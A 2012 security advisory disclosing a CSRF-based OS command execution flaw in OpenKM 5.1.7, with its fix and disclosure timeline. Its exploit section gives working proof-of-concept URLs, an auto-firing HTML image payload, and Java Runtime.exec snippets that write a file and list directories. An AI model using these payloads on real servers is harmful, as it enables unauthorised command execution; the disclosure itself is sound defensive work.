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#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/ 
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# ID:      COMPASS-2012-002
# Product: OpenKM Document Management System 5.1.7 [1]
# Vendor:  OpenKM http://www.openkm.com/
# Subject: Cross-site Request Forgery based OS Command Execution
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    January 2nd 2012
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Description:
------------
Cyrill Brunschwiler, Security Analyst at Compass Security Network
Computing,
Switzerland discovered a web application issue based OS command
execution flaw
in the OpenKM solution. OpenKM does allow administrative users (having
the
AdminRole) to run bean shell scripts. Due to the flaw, an attacker could
lure
an OpenKM administrator to a malicious web page that causes arbitrary OS
commands being run in the administrators OpenKM session context. This is
possible because OpenKM does not implement access control mechanisms to
avoid
so called Cross-site Request Forgery [2] (a.k.a. CSRF, XSRF, session
riding,
forceful browsing). The commands are being executed silently. In the
end, this
allows an attacker to run OS commands with the privileges of the process
owner
of the application server (JBOSS).

Vulnerable:
-----------
OpenKM version 5.1.7

Not vulnerable:
---------------
OpenKM version 5.1.8

Fix:
----
To avoid this issue the application must introduce Anti-XSRF tokens for
the
web-based administrative interface. To avoid arbitrary command execution
the
admin/scripting.jsp could be removed from the OpenKM.ear before the
application is being deployed. Note, the cron job functionality allows
to run
*.jar and BeanShell scripts as well.

Exploit:
--------
Login as administrator (having the AdminRole) and call the URL in a
different
browser window
http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3
D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%
2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B

Alternatively the administrator could browse a prepared HTML page in a
new tab
<html>
<body>
<script>
img = new Image();
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%
5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3
E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"
</script>
</body>
</html>

The above exploit does nothing else than just creating a file in /tmp

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);

Some might also want to browse directories
http://example.com/OpenKM/admin/scripting.jsp?script=import+java.io.*%3B
%0D%0A%0D%0Atry+%7B%0D%0A++++String+ls_str%3B%0D%0A++++Process+ls_proc+%
3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B%0D%0A+++
+DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream%
28%29%29%3B%0D%0A%0D%0A++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%2
9+%21%3D+null%29+++++++++++%0D%0A++++++++print%28ls_str+%2B+%22%3Cbr%3E%
22%29%3B%0D%0A%0D%0A%7D+catch+%28IOException+e%29+%7B%0D%0A%7D

import java.io.*;

try {
    String ls_str;
    Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");
    DataInputStream ls_in = new
DataInputStream(ls_proc.getInputStream());

    while ((ls_str = ls_in.readLine()) != null)           
        print(ls_str + "<br>");

} catch (IOException e) {
}

Timeline:
---------
August 6th, Vulnerability discovered
August 9th, Vendor contacted
August 10th, Vendor notified
December 1st, Patched version released
January 2nd, Advisory released

References:
-----------
[1] OpenKM http://www.openkm.com/
is an Free/Libre document management system that provides a web
interface for
managing arbitrary files. OpenKM includes a content repository, Lucene
indexing, and jBPM workflow. The OpenKM system was developed using Java
technology.

[2] Cross-site Request Forgery
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
CSRF is an attack which forces an end user to execute unwanted actions
on a
web application in which he/she is currently authenticated. With a
little help
of social engineering (like sending a link via email/chat), an attacker
may
force the users of a web application to execute actions of the
attacker's
choosing. A successful CSRF exploit can compromise end user data and
operation
in case of normal user. If the targeted end user is the administrator
account,
this can compromise the entire web application.